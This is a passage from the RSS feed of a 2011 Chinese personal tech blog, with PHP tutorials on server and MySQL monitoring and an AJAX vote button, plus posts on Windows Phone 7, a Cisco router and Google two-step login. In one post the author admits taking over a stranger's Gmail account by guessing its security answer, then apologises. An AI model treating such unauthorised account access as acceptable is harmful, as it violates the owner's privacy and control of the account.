            $host_status['user_cpu']            = (int)@substr($status['UCD-SNMP-MIB::ssCpuUser.0'], 9);
            $host_status['system_cpu']          = (int)@substr($status['UCD-SNMP-MIB::ssCpuSystem.0'], 9);
            $host_status['idle_cpu']            = (int)@substr($status['UCD-SNMP-MIB::ssCpuIdle.0'], 9);
            $host_status['total_swap']          = (int)@substr($status['UCD-SNMP-MIB::memTotalSwap.0'], 9);
            $host_status['available_swap']      = (int)@substr($status['UCD-SNMP-MIB::memAvailSwap.0'], 9);
            $host_status['total_ram']           = (int)@substr($status['UCD-SNMP-MIB::memTotalReal.0'], 9);
            $host_status['used_ram']            = $host_status['total_ram'] - (int)@substr($status['UCD-SNMP-MIB::memAvailReal.0'], 9);
            $host_status['cached_memory']       = (int)@substr($status['UCD-SNMP-MIB::memCached.0'], 9);
</pre>
<p>SNMP采用的是<strong>UDP协议</strong>，因此数据获取可能会失败，可以考虑在失败之后重试几次。</p>
<pre class="brush: php; title: ;">
        $i = 0;
		$status = array();
        do {
            $i ++;
            $status = @snmp2_real_walk($host, $community, &quot;.1.3.6.1.4.1.2021&quot;,10,5);
        } while(!(count($status) != 0 OR $i &gt;= 3));
</pre>
<h3>2、获取MySQL数据库的状态数据</h3>
<p>获取MySQL的状态较简单，只需要运行下面这个查询即可：</p>
<pre class="brush: sql; title: ;">
SHOW GLOBAL STATUS
</pre>
<p>这个查询的结果也非常丰富，只需要从中挑选需要的即可。例如下面的例子获取了若干查询的数量：</p>
<pre class="brush: php; title: ;">
        $db = @new mysqli($host, $mysql_user, $mysql_pwd);
        $result = @$db-&gt;query(&quot;SHOW GLOBAL STATUS&quot;);
        $status = array();
        if($result) {
            while($temp = $result-&gt;fetch_assoc()) {
                switch($temp['Variable_name']) {
                    case &quot;Com_select&quot;:
                    case &quot;Com_insert&quot;:
                    case &quot;Com_delete&quot;:
                    case &quot;Com_update&quot;:
                    case &quot;Com_change_db&quot;:
                        $status[$temp['Variable_name']] = $temp['Value'];
                        break;
                    default:
                        break;
                }
            }
            $db-&gt;close();
            return $status;
        } else
            return false;
</pre>
<p>唯一需要注意的是，上述值是MySQL服务启动之后的<strong>累加值</strong>，所以说只要MySQL不重启，这些值是递增的。而在实际分析或者显示时，一般是需要某个时间段内的值，有如下两个思路来应对：</p>
<ul>
<li>1、获取最新一次的数据时，从数据库中查询到上次获取的值，二者相减，即可得到两次查询内的数据值，这个实现时还需要保存一个额外的临时值以用于作为减数，否则会失去“坐标”；</li>
<li>2、将最新获取的值存储在数据库中，在显示或者读取时，再进行相应的减法操作；</li>
</ul>
<p>个人比较推荐采用第二种方法，即在使用时再对数据进行处理，这至少遵循了“保存原始数据”这一原则，而且需求是有可能变化的。</p>
<h3>3、定期执行PHP脚本获取状态值</h3>
<p>PHP本身无法实现定时运行这一功能，因此只有借助其它手段，比如，Linux中的crontab，按设定的规则和时间在后台执行，只需要将定时执行的内容换成命令行下的PHP脚本即可。</p>
<p>下面的这一段PHP可以实现从命令行或URL接受参数并执行相关操作的功能</p>
<pre class="brush: php; title: ;">
    $action = '';
    if(isset($_GET['action']))
        $action = $_GET['action'];
    if(isset($argv[1]))
        $action = $argv[1];
    switch($action) {
        case &quot;snmp&quot;:
            refresh_host_status_by_snmp();
            break;
        case get_option(&quot;refresh_frequency&quot;) . &quot;min&quot;:
            refresh_order_count();
            refresh_service_status();
            break;
        case &quot;1day&quot;:
            refresh_uptime_yesterday_in_service_list();
            save_all_tasks_one_day_details();
            break;
        default:
            echo &quot;help content here.\n&quot;;
            break;
    }
</pre>
<p>将上述脚本保存为cli.php，则可以通过下面两种方法来运行：</p>
<ul>
<li>1、http://chensd.com/cli.php?action=5min</li>
<li>2、/usr/bin/php cli.php 5min</li>
</ul>
<p>php执行文件的位置可能会因编译或安装的情况而不一样。</p>
<p>在crontab中添加如下的一行可以每隔五分钟运行一次：</p>
<pre class="brush: bash; title: ;">
5,10,15,20,25,30,35,40,45,50,55,0 * * * * /usr/bin/php /home/xxx/cli.php 5min
</pre>
<p>或</p>
<pre class="brush: bash; title: ;">
*/5 * * * * /usr/bin/php /home/xxx/cli.php 5min
</pre>
<h3>4、数据的可视化</h3>
<p>无论是什么样的人，总是更容易接受图表一些——这个与智商关系不大。</p>
<p>现在的数据可视化技术实在是太丰富了，除了以前比较常见的flash和图片，现在的js可视化技术也进入了实用化阶段，而且将图表的生成工作量转给了客户端浏览器，也没有了插件的依赖，要命的是iOS也没问题……</p>
<p><a href="http://highcharts.com/demo">Highcharts</a>和<a href="http://code.google.com/p/flot/">flot</a>都很不错，前者相对更成熟，后者是开源项目，Highcharts母公司新推出了<a href="http://highcharts.com/stock/demo">Highstocks</a>也很不错，但是现在还在测试阶段，净highstocks.js都有300多KB。</p>
<p>性能上讲，据称，flot表现1000个点时仍然轻松自如。从我实现的情况来看，highstocks一个图中同时显示3000余个点依然很流畅，单图15000个数据仍然可以灵活拉动highstocks的时间轴。</p>
]]></content:encoded>
			<wfw:commentRss>http://chensd.com/2011-08/server_mysql_status_moniter_by_php.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Sliverlight for WP7 中WebBrowser控件对js和css的支持性总结</title>
		<link>http://chensd.com/2011-07/js-css-support-in-webbrowser-of-sliverlight-for-windows-phone.html</link>
		<comments>http://chensd.com/2011-07/js-css-support-in-webbrowser-of-sliverlight-for-windows-phone.html#comments</comments>
		<pubDate>Wed, 06 Jul 2011 09:09:18 +0000</pubDate>
		<dc:creator>不可能不确定</dc:creator>
				<category><![CDATA[编程杂记]]></category>
		<category><![CDATA[WP7]]></category>

		<guid isPermaLink="false">http://chensd.com/?p=1471</guid>
		<description><![CDATA[最近因为工作上的原因，重拾C#做一个Windows Phone 7的客户端应用，虽然半途而废，不过也在碰摔中了解到了WP７的确是一个仓促之作，尤其是对于开发人员而言。 在应用中展示html或者远程网页，SliverLight for Windows Phone提供了一个叫WebBrowser的控件。在使用这个控件的过程中，发现了一个哭笑不得的问题：应用无法直接使用其内部的各类资源，无论是html还是图片，必须先得将这些复制到手机上，再从手机上读取后使用！天哪！亏WP7 SDK的开发人员想得出来，你看到这篇MSDN文章的时候一定会崩溃，不过我已经不是第一个遇到这种情况的人了。 WebBrowser控件在默认的情况下，是不支持JavaScript的，若需要对其进行支持，需要设置其IsScriptEnabled为true，但要命的是，设置之后，只有在下一次打开页面的时候才会生效。 经测试，当html是从手机的独立存储中读取时，无论CSS是在手机内，还是在远程服务器上，均可正常支持。JavaScript同样如此。当html位于远程服务器中时，js可以是来自另外的远程服务器。 但致命的问题是，当WebBrowser控件中的内容有鼠标点击动作时，整个控件（还包括其它的输入性控件，如TextBox或者RadioButton）均有闪烁的情况！！这预示着大部分的html5游戏是没办法简单的移植了。 另外，对于WebBrowser中的内容，无法设置其x和y坐标，也无法设置其缩放比例！这点很是蛋疼。 看来，Android和iOS的确让Microsoft慌了手脚，NOKIA就不用说了。]]></description>
			<content:encoded><![CDATA[<p>最近因为工作上的原因，重拾C#做一个Windows Phone 7的客户端应用，虽然半途而废，不过也在碰摔中了解到了WP７的确是一个仓促之作，尤其是对于开发人员而言。</p>
<p>在应用中展示html或者远程网页，SliverLight for Windows Phone提供了一个叫<a title="WebBrowser Members" href="http://msdn.microsoft.com/en-us/library/microsoft.phone.controls.webbrowser_members(v=VS.92).aspx">WebBrowser</a>的控件。在使用这个控件的过程中，发现了一个哭笑不得的问题：应用无法直接使用其内部的各类资源，无论是html还是图片，必须先得将这些复制到手机上，再从手机上读取后使用！天哪！亏WP7 SDK的开发人员想得出来，你看到<a title="How to: Display Static Web Content Using the WebBrowser Control for Windows Phone" href="http://msdn.microsoft.com/en-us/library/ff431811(v=VS.92).aspx">这篇MSDN文章</a>的时候一定会崩溃，不过我已经不是第一个<a title="Moving Files from XAP to Isolated Storage for Local HTML Content on Windows Phone 7" href="http://technodave.wordpress.com/2010/11/11/moving-files-from-xap-to-isolated-storage-for-local-html-content-on-windows-phone-7/">遇到这种情况的人了</a>。</p>
<p>WebBrowser控件在默认的情况下，是不支持JavaScript的，若需要对其进行支持，需要设置其IsScriptEnabled为true，但要命的是，设置之后，只有在下一次打开页面的时候才会生效。</p>
<p>经测试，当html是从手机的独立存储中读取时，无论CSS是在手机内，还是在远程服务器上，均可正常支持。JavaScript同样如此。当html位于远程服务器中时，js可以是来自另外的远程服务器。</p>
<p>但致命的问题是，当WebBrowser控件中的内容有鼠标点击动作时，整个控件（还包括其它的输入性控件，如TextBox或者RadioButton）均有闪烁的情况！！这预示着大部分的html5游戏是没办法简单的移植了。</p>
<p>另外，对于WebBrowser中的内容，无法设置其x和y坐标，也无法设置其缩放比例！这点很是蛋疼。</p>
<p>看来，Android和iOS的确让Microsoft慌了手脚，NOKIA就不用说了。</p>
]]></content:encoded>
			<wfw:commentRss>http://chensd.com/2011-07/js-css-support-in-webbrowser-of-sliverlight-for-windows-phone.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>给SidChen@Gmail.com主人的一封信！另：Google Accounts的安全性问题</title>
		<link>http://chensd.com/2011-06/excuse-to-sidchen.html</link>
		<comments>http://chensd.com/2011-06/excuse-to-sidchen.html#comments</comments>
		<pubDate>Sat, 11 Jun 2011 09:19:16 +0000</pubDate>
		<dc:creator>不可能不确定</dc:creator>
				<category><![CDATA[生活杂记]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[安全]]></category>

		<guid isPermaLink="false">http://chensd.com/?p=1461</guid>
		<description><![CDATA[前天的时候，想注册一下SidChen@Gmail.com这个账号，不出意外，也的确被人注册了，处于试一试的想法，点击了“Can&#8217;t Access you Account?”的连接，并使用安全问题的方式来找回密码，而没想到问题的答案是如此的简单，以至我一次就试出了密码。然后我非常不负责任的更改了密码和安全邮件地址。由于当时的疏忽，并没有记下安全邮件地址。 可以知道并且能够发布到这里的信息仅为： 一位姓陈的来自台湾的朋友，他拥有的另外一个邮件地址大致为b****4@ntu.edu.tw 先向这位朋友表示歉意，由于我的鲁莽给您带来了巨大的麻烦，如果您就是这位朋友，请您留下任何联系方式，或者邮件至ncbcyOK@Gmail.com，我将以最快的速度与您取得联系。您所有的邮件都仍然完好的保存在邮箱里，并且我没有打开任何邮件，这点您可以放心！为了安全，我修改了这个账号的安全提问。 另外的提醒是，如果您也是Google Accounts的用户，请您一定注意安全问题的设置，否则将可能给您带来同样的麻烦。虽然Google提供的二步登陆的确是超级安全，但可能绝大多数人不会去开启这个功能。单从账号的安全性和找回方式来讲，QQ可能是绝对的世界领先了。 再一次向这位朋友报以歉意！]]></description>
			<content:encoded><![CDATA[<p>前天的时候，想注册一下SidChen@Gmail.com这个账号，不出意外，也的确被人注册了，处于试一试的想法，点击了“Can&#8217;t Access you Account?”的连接，并使用安全问题的方式来找回密码，而没想到问题的答案是如此的简单，以至我一次就试出了密码。然后我非常不负责任的更改了密码和安全邮件地址。由于当时的疏忽，并没有记下安全邮件地址。</p>
<p>可以知道并且能够发布到这里的信息仅为：</p>
<p>一位姓陈的来自台湾的朋友，他拥有的另外一个邮件地址大致为b****4@ntu.edu.tw</p>
<p>先向这位朋友表示歉意，由于我的鲁莽给您带来了巨大的麻烦，如果您就是这位朋友，请您留下任何联系方式，或者邮件至ncbcyOK@Gmail.com，我将以最快的速度与您取得联系。您所有的邮件都仍然完好的保存在邮箱里，并且我没有打开任何邮件，这点您可以放心！为了安全，我修改了这个账号的安全提问。</p>
<p>另外的提醒是，如果您也是Google Accounts的用户，请您一定注意安全问题的设置，否则将可能给您带来同样的麻烦。虽然<a title="Google两步登陆的安全性分析与保护措施" href="http://chensd.com/2011-03/why-2-step-verification-is-safe.html">Google提供的二步登陆</a>的确是超级安全，但可能绝大多数人不会去<a title="Google两步登陆使用方法" href="http://chensd.com/2011-03/google-2-steps-verification.html">开启这个功能</a>。单从账号的安全性和找回方式来讲，QQ可能是绝对的世界领先了。</p>
<p>再一次向这位朋友报以歉意！</p>
]]></content:encoded>
			<wfw:commentRss>http://chensd.com/2011-06/excuse-to-sidchen.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>利用PHP和AJAX实现“顶”贴功能</title>
		<link>http://chensd.com/2011-05/implement-dig-with-php-and-ajax.html</link>
		<comments>http://chensd.com/2011-05/implement-dig-with-php-and-ajax.html#comments</comments>
		<pubDate>Mon, 16 May 2011 08:16:54 +0000</pubDate>
		<dc:creator>不可能不确定</dc:creator>
				<category><![CDATA[编程杂记]]></category>
		<category><![CDATA[ajax]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://chensd.com/?p=1400</guid>
		<description><![CDATA[最近与xiaofeng在实现一个类Digg的聚合网站，其中有一个很常见功能——“顶”贴，虽然使用普通的超连接也可以实现这一功能，但在用户点击后会有一个刷新的过程，要想有更好的体验，使用AJAX是必须的，这也是一个典型的AJAX应用。 AJAX在用户的操作和服务器间建立了一个桥梁，改变了以前在浏览器中每次点击都要刷新页面才能获取新数据的缺点，用户在浏览器的行为将被AJAX的JavaScript脚本捕获，并适时的向服务器获取数据，再在浏览器中进行显示。 1、实现功能与结构 最终的结果，是实现一个由一个超连接和一个span，点击超连接后，将数据库中该文章被顶次数加1，另外将span中显示的被顶数加1。具体演示可以参考Digg.com主页中的Digg按钮。这一功能分别有以下两个文件来实现： index.php：文章列表，有多篇文章，每篇文章标题的左侧显示有该文章的被顶数及“顶”按钮； dig.php：接受一个get参数，名称为postid，值为文章的id，实现的功能是将这篇文章存储在数据库中的被顶次数加1； dig.js：存储超链接的单击事件，在超链接单击后，一方面将文章id传给dig.php，另外将index.php页面中的被顶数加1； 2、index.php中“顶”及被顶次数 在一个文章列表中，拥有多个文章，而为了控制每篇文章的次数，需要对显示被顶次数的span指定一个唯一的id。例如，下面的代码可以实现这一功能（$row为从数据库中取出的一行，其中id为文章id，dig为该文章被顶次数）： &#60;span id = "numDig-&#60;?php echo $row["id"]?&#62;"&#62;&#60;?php echo $row['dig'];?&#62;&#60;/span&#62; 利用文章在数据库中的id和一个固定的字符串就为span指定了唯一的id，如numDig-474等。 在其下方还有一个供点击的超连接，超连接的单击事件将调用javascript中自定义的dig函数，并向其传送一个参数，参数内容为被顶文章的id，实现如下： &#60;a href="javascript:void(0)" onclick = "dig(&#60;?php echo $row['id'];?&#62;)" id = "btnDig-&#60;?php echo $row['id']?&#62;"&#62;顶&#60;/a&#62; 文章列表中显示被顶次数的顶贴连接就完成了。 2、dig.js中AJAX的实现 对于这个脚本来讲，它要实现以下两个方面的功能 改变index.php中由id为numDig-postid的span中显示的被顶次数，使其加1； 向dig.php提交被顶文章的id，以便其更新数据库中的数据； 先看改变index.php中被顶次数显示的实现，这里用一个自定义函数实现，函数名changeNumDig，需要传送一个参数，即被改变被顶次数文章的id。调用函数后，先检查参数是否为一个数字，若是则选构造显示被顶次数的span的id，其结构为numDig-postid，再获取其中存储的被顶次数值，并递增1。代码如下： function changeNumDig(postid) { if(!isNaN(postid)) { spanNumDigName = &#34;numDig-&#34; + postid; numDig = document.getElementById(spanNumDigName).innerHTML; if(!isNaN(numDig)) { numDig ++; document.getElementById(spanNumDigName).innerHTML [...]]]></description>
			<content:encoded><![CDATA[<p>最近与<a href="http://shenxf.com">xiaofeng</a>在实现一个类Digg的聚合网站，其中有一个很常见功能——“顶”贴，虽然使用普通的超连接也可以实现这一功能，但在用户点击后会有一个刷新的过程，要想有更好的体验，使用AJAX是必须的，这也是一个典型的AJAX应用。</p>
<p>AJAX在用户的操作和服务器间建立了一个桥梁，改变了以前在浏览器中每次点击都要刷新页面才能获取新数据的缺点，用户在浏览器的行为将被AJAX的JavaScript脚本捕获，并适时的向服务器获取数据，再在浏览器中进行显示。</p>
<h3>1、实现功能与结构</h3>
<p>最终的结果，是实现一个由一个超连接和一个span，点击超连接后，将数据库中该文章被顶次数加1，另外将span中显示的被顶数加1。具体演示可以参考<a href="Digg.com">Digg.com</a>主页中的Digg按钮。这一功能分别有以下两个文件来实现：</p>
<ul>
<li>index.php：文章列表，有多篇文章，每篇文章标题的左侧显示有该文章的被顶数及“顶”按钮；</li>
</ul>
<p><a href="http://chensd.com/wp-content/upfile/2011/05/dig.png" class="highslide-image" onclick="return hs.expand(this);"><img class="aligncenter size-full wp-image-1408" title="dig" src="http://chensd.com/wp-content/upfile/2011/05/dig.png" alt="" width="49" height="77" /></a></p>
<ul>
<li>dig.php：接受一个get参数，名称为postid，值为文章的id，实现的功能是将这篇文章存储在数据库中的被顶次数加1；</li>
<li>dig.js：存储超链接的单击事件，在超链接单击后，一方面将文章id传给dig.php，另外将index.php页面中的被顶数加1；</li>
</ul>
<p><span id="more-1400"></span></p>
<h3>2、index.php中“顶”及被顶次数</h3>
<p>在一个文章列表中，拥有多个文章，而为了控制每篇文章的次数，需要对显示被顶次数的span指定一个唯一的id。例如，下面的代码可以实现这一功能（$row为从数据库中取出的一行，其中id为文章id，dig为该文章被顶次数）：</p>
<pre>&lt;span id = "numDig-&lt;?php echo $row["id"]?&gt;"&gt;&lt;?php echo $row['dig'];?&gt;&lt;/span&gt;</pre>
<p>利用文章在数据库中的id和一个固定的字符串就为span指定了唯一的id，如numDig-474等。</p>
<p>在其下方还有一个供点击的超连接，超连接的单击事件将调用javascript中自定义的dig函数，并向其传送一个参数，参数内容为被顶文章的id，实现如下：</p>
<pre>&lt;a href="javascript:void(0)" onclick = "dig(&lt;?php echo $row['id'];?&gt;)" id = "btnDig-&lt;?php echo $row['id']?&gt;"&gt;顶&lt;/a&gt;</pre>
<p>文章列表中显示被顶次数的顶贴连接就完成了。</p>
<h3>2、dig.js中AJAX的实现</h3>
<p>对于这个脚本来讲，它要实现以下两个方面的功能</p>
<ul>
<li>改变index.php中由id为numDig-postid的span中显示的被顶次数，使其加1；</li>
<li>向dig.php提交被顶文章的id，以便其更新数据库中的数据；</li>
</ul>
<p>先看改变index.php中被顶次数显示的实现，这里用一个自定义函数实现，函数名changeNumDig，需要传送一个参数，即被改变被顶次数文章的id。调用函数后，先检查参数是否为一个数字，若是则选构造显示被顶次数的span的id，其结构为numDig-postid，再获取其中存储的被顶次数值，并递增1。代码如下：</p>
<pre class="brush: jscript; title: ;">function changeNumDig(postid) {
    if(!isNaN(postid)) {
        spanNumDigName = &quot;numDig-&quot; + postid;
        numDig = document.getElementById(spanNumDigName).innerHTML;
        if(!isNaN(numDig)) {
            numDig ++;
            document.getElementById(spanNumDigName).innerHTML = numDig;
        }
    }
}</pre>
<p>另外就是更改数据库中的被顶次数，即向dig.php提交被顶文章的id，构造一个URL，再将其提交即可。这一过程需要使用AJAX中最重要的对象XmlHttpRequest，这一对象的创建不同的浏览器不一样，具体创建的方法可以参考<a title="AJAX XMLHttpRequest" href="http://www.w3school.com.cn/php/php_ajax_xmlhttprequest.asp">W3CSchool中的介绍</a>。代码如下：</p>
<pre class="brush: jscript; title: ;">function GetXmlHttpRequest() {
    var xmlHttpReq = null;
    try {
    xmlHttpReq = new XMLHttpRequest();
    }
    catch(e) {
        try {
        xmlHttpReq = new ActiveXObject(&quot;Msxml2.XMLHTTP&quot;);
        }
        catch(e) {
        xmlHttpReq = new ActiveXObject(&quot;Microsoft.XMLHTTP&quot;);
        }
    }
    return xmlHttpReq;
}</pre>
<p>具体实现过程是使用XmlHttpRequest对象的open方法，实现代码如下：</p>
<pre class="brush: jscript; title: ;">function dig(postid) {
    if(!isNaN(postid)) {
        var url = &quot;dig.php?postid=&quot; + postid;
        xmlHttpReq = GetXmlHttpRequest();
        xmlHttpReq.open(&quot;GET&quot;, url, true);
        xmlHttpReq.send(null);
        changeNumDig(postid);
    }
}</pre>
<p>3、dig.php修改数据库中的被顶次数</p>
<p>dig.php接受一个需要改变被顶次数的文章id，然后在数据库中查询其所在行，将其dig属性自增1即可。</p>
<p>考虑到安全问题，也需要先检查传进来的文章id是否为数字，然后连接数据库，构造查询字符串，执行检查并关闭即可。具体实现代码如下：</p>
<pre class="brush: php; title: ;">if(!empty($_GET['postid']) and (ctype_digit($_GET['postid']))) {
    require_once('config.php');
    $db = new mysqli($dbhost, $dbuser, $dbpwd, $dbname) or die();
    $query_string = &quot;UPDATE top10_posts SET dig = dig + 1 WHERE id ={$_GET['postid']}&quot;;
    $db-&gt;query('SET character_set_client = utf8');
    $db-&gt;query('SET character_set_connection = utf8');
    $db-&gt;query('SET character_set_results = utf8');
    $db-&gt;query($query_string);
    $db-&gt;close();
}</pre>
<p>以上三部分即可实现顶贴功能，这可以在很多Web2.0和聚合网站中看到，只不过可能要相对复杂，但实现的逻辑大都如此。</p>
]]></content:encoded>
			<wfw:commentRss>http://chensd.com/2011-05/implement-dig-with-php-and-ajax.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>坑爹的思科精睿</title>
		<link>http://chensd.com/2011-03/cisco-srp532w.html</link>
		<comments>http://chensd.com/2011-03/cisco-srp532w.html#comments</comments>
		<pubDate>Fri, 18 Mar 2011 01:32:16 +0000</pubDate>
		<dc:creator>不可能不确定</dc:creator>
				<category><![CDATA[乱七八糟]]></category>

		<guid isPermaLink="false">http://chensd.com/?p=1394</guid>
		<description><![CDATA[与女人们花99块钱买遍LV、GUCCI的想法一样，一时之快便选择了思科精睿的SRP532W路由器，这才发现，“阿迪达斯·邦威”和“阿迪达斯”是不一样的，甚至连扯蛋的“美特斯邦威”都不如。 当然，一开始，你是不知道它叫思科精睿SRP532W的，你看到的名字是CISCO SRP532W，直到你因为使用这劳什子发现问题联系CISCO售后并趾高气昂的报出自己的设备型号时——如果你运气足够好，碰到一个售后MM，便会听到“对不起，您的设备是思科精睿中小企业产品系列的，请联系思科精睿售后，电话是400-000-0000”——直接从800跌到了400。 我最烦的事情之一，就是各大公司售前电话全是800，售后电话净是些400，最没形象的干脆给你来个0316-00000000。 2WAN口、8LAN口、QoS控制、VLAN、ACL……要命的是还支持四个无线网络！关键还是CISCO的，而且只要4000块，就是人民币！哎呀妈呀，不选它选谁啊！ 如果你象我一样，那你的恶梦就来临了。 一开始设置的时候，你会发现，QoS流量控制中，竟然只能限制上传速度，不能限制下载速度！再走两步发现，只能Block 10个外网地址。用段时间后你又发现，不对啊，怎么跨VLAN最高速度只有不到10Mbps，而且VLAN内部的广播数据每几十分钟总得出那么些问题，离谱的是，竟然还碰到了一个VLAN的广播传到了另外一个VLAN里，不错，那不仅是在电影里出现的，你的思科精睿同样可以做到！ 现在，你可以去换其它的便宜货了。]]></description>
			<content:encoded><![CDATA[<p>与女人们花99块钱买遍LV、GUCCI的想法一样，一时之快便选择了思科精睿的SRP532W路由器，这才发现，“阿迪达斯·邦威”和“阿迪达斯”是不一样的，甚至连扯蛋的“美特斯邦威”都不如。</p>
<p>当然，一开始，你是不知道它叫思科精睿SRP532W的，你看到的名字是CISCO SRP532W，直到你因为使用这劳什子发现问题联系CISCO售后并趾高气昂的报出自己的设备型号时——如果你运气足够好，碰到一个售后MM，便会听到“对不起，您的设备是思科精睿中小企业产品系列的，请联系思科精睿售后，电话是400-000-0000”——直接从800跌到了400。</p>
<p>我最烦的事情之一，就是各大公司售前电话全是800，售后电话净是些400，最没形象的干脆给你来个0316-00000000。</p>
<p>2WAN口、8LAN口、QoS控制、VLAN、ACL……要命的是还支持四个无线网络！关键还是CISCO的，而且只要4000块，就是人民币！哎呀妈呀，不选它选谁啊！</p>
<p>如果你象我一样，那你的恶梦就来临了。</p>
<p>一开始设置的时候，你会发现，QoS流量控制中，竟然只能限制上传速度，不能限制下载速度！再走两步发现，只能Block 10个外网地址。用段时间后你又发现，不对啊，怎么跨VLAN最高速度只有不到10Mbps，而且VLAN内部的广播数据每几十分钟总得出那么些问题，离谱的是，竟然还碰到了一个VLAN的广播传到了另外一个VLAN里，不错，那不仅是在电影里出现的，你的思科精睿同样可以做到！</p>
<p>现在，你可以去换其它的便宜货了。</p>
]]></content:encoded>
			<wfw:commentRss>http://chensd.com/2011-03/cisco-srp532w.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Google两步登陆的安全性分析与保护措施</title>
		<link>http://chensd.com/2011-03/why-2-step-verification-is-safe.html</link>
		<comments>http://chensd.com/2011-03/why-2-step-verification-is-safe.html#comments</comments>
		<pubDate>Fri, 04 Mar 2011 06:30:10 +0000</pubDate>
		<dc:creator>不可能不确定</dc:creator>
				<category><![CDATA[胡说八道]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[安全]]></category>

		<guid isPermaLink="false">http://chensd.com/?p=1369</guid>
		<description><![CDATA[前两天写了篇关于Google两步登陆的介绍文章，在推上和cnBeta上都有不少人质疑其安全性，主要是因为对电信运营商的不信任。两步登陆用了两天多了，今天早上也专门试了试它的一些情况，在这里刚好总结一下。 设置为两步登陆后，完成第二步登陆的数字码有三种途径可以获得，一是通过手机上的程序生成，二是通过设定的手机接收短信，三是设置时生成的备用数字验证码。此外，利用程序特有密码（Application-specific Password）也是一个访问Google账户中数据的方法，下面分别从这四方面来分别分析它的安全性。 需要说明的是，对于设置了两步登陆的账号，单独得到其账户密码和数字验证码都是没有用的，而且，通过程序生成和短信接收得到的六位数字验证码还有一个时效限制。 一、手机程序生成数字码的安全性 六位数字码每30秒就改变一次，具体哪一秒改变，不同的设备不一样，时间是数字码生成中的一个很重要的变量，无论是是关闭程序还是如何，只要是30秒内，生成的数字码是不变的。但这并不意味着数字码被猜中的机率为百万分之一，因为这个数字码是有“有效期”的，时间从两步登陆中第一步登陆数据的提交开始计算，从那开始，五分钟内生成的共计10个数字验证码中任意一个都可以辅助完成登陆，也就是说，数字码验证被突破的机率应该是十万分之一。这一点也是用户无法控制的，保密工作的重点不在这一步。 Android平台上用于生成六位数字码的程序Google Authenticator，只有一个权限要求，即控制振动器——成功的在添加一个账号后，将振动以示提醒。在断开手机所有的网络后，仍然可以完成程序的安装，并可正常的添加账号用以进行两步登陆，亦可正常的生成数字码进行登陆，这意味着，在整个过程中，Google Authentication没有往Google的服务器传送任何数据，也即与手机本身的各项信息无关，只是用某种算法进行了一个计算。 为了验证生成的数字码的确与设备无关，在设置两步登陆时，同时使用两台手机扫描了那个QR码图，结果两台手机都可以辅助完成两步登陆。而且，两台手机生成的数字码也是一致的。这丙一次证明了数码验证码的生成与设备无关。 其实，在设置两步登陆中生成的用于扫描的QR码所加密的内容是一下如下的字符串： otpauth://totp/xxxxx@gmail.com?secret=5dytxxxxxxxdc3tb 其关键内容有两个，一个是用户名，另外一个就是secret后的密钥，每一个账号的密钥是不变的。除了用QR码扫描的方式在Google Authenticatior添加账号外，也可以手动添加，手动添加时需要输入的，也是这两个信息。 现在的问题是，生成的数字码与用户名是否有关系，为了验证，在Google Authentication中手动添加一个账号，用户名随便，密钥使用上面的密钥。结果表明，只要密钥一样，无论用户名是什么，都生成一样的数字码。这意味着，六位数字码的生成只与那个secret密钥和时间相关，保护secret密钥就成为了保密的重心，好在Google Authentication中无法查看secret密钥。要想查看secret密钥，只有在登陆进Google账户后。 保护措施 这一步的保密有两个，一是保证secret密钥不外泄，二是保证用于生成数字码的设备不要被他人获取。主要为以下几点 不在任何地方粘贴含有secret的QR码图 在不使用Google服务后，一定要注意点击右上角的登出（Sign Out） 在Google Authentication中添加数个账号，用户名随意（可以为任意字符，不限于邮箱格式），密钥为任意16位字符数字组合，以使即使获得这个设备，也要花精力去分辨到底哪个六位数字码为真 遇到突发情况时，尽量立即卸载设备上的Google Authentication程序 二、手机短信接收验证码的安全性 这个是最为话柄的一个方法，因为需要使用短信接收六位数字码，而朝内电信运营商个个都有不良记录，并且这一步无法跳过，设置完成后，一旦删除备用手机号码，两步登陆也会自动失效，这一步的确有些不人性化。 不过，陌生人在登录到你的账号之前，只知道备用手机号的最后两位，虽然两步登陆设置过程中，Google推荐你用值得信任的人的号码作为备用短信接收号码，但如果你真用了你熟悉的人的号码，可能又是一个安全隐患。 保护措施 最好的办法是，在网上找一个朋友，确保只有自己知道这个人与自己的关系，然后借用其手机号为备用号码。这样，就算最了解你的人，依然无法弄清楚备用短信接收号码是多少，如果你可以找到一个手机尾号与你某个熟人的号码一致的网友，那就更具迷惑性了。而且，两步登陆的第二步有超时时间，大约是五到十分钟，我相信，在这个时间段时做一次全国范围的短信搜索，还是非常有难度的。 三、备用数字验证码 这个方法是在以上两个方法都无法登陆的时候用的，Google提供了10个八位数字验证码，每个号码可以使用一次，Google推荐你打印出来，不过这可不是个什么好办法。如何保护好它成了最麻烦的一点。 保护措施 为了确保这10个八位数字验证码的安全性，建议按如下几步进行操作 1、将数字码录入到一个文本文件，并将进行基础性编码，例如，将所有出现3的地方换成5，将所有出现5的地方换成3 2、使用截图软件将第一步的结果进行截图，得到一个图片 3、使用winrar等工具，将这个图片压缩，并设置密码，一定要设置一个与Google账户不同的密码，得到的压缩包文件名一定要随意，如“新建 文本文档.rar” 5、将这个图片传到可以永久保存的网盘上，并将其共享（注意不要选择如115等有共享期限限制的网盘），记下共享地址 6、找一个可以自定义的缩短网址工具，将第五步的共享地址进行缩短，这个网址一定要记牢。http://snipurl.com就是个可以进行自定义的网址缩短工具，如缩短的最终结果为http://snipurl.com/wodemimazaizheli 这样，其它方法都无法登陆，或者登陆途径被破坏后，就可以打开http://snipurl.com/wodemimazaizheli，然后下载备用验证八位数字码图——可别忘了你还对它进行了基础性的编码。 四、真正的危险：程序特有密码（Application-specific password） 因为有些程序是不支持两步登陆的，比如桌面版Gtalk、Empathy、Picasa，甚至Chrome浏览器的同步功能，为了使这些程序能够正常的通过Google账户验证，需要为其生成一个程序特有密码，而这个密码，却可以用在任何地方，虽然不能用它来登陆Google账户和Gmail，但却可以来完成邮件客户端的验证，再使用邮件客户端来收发邮件。 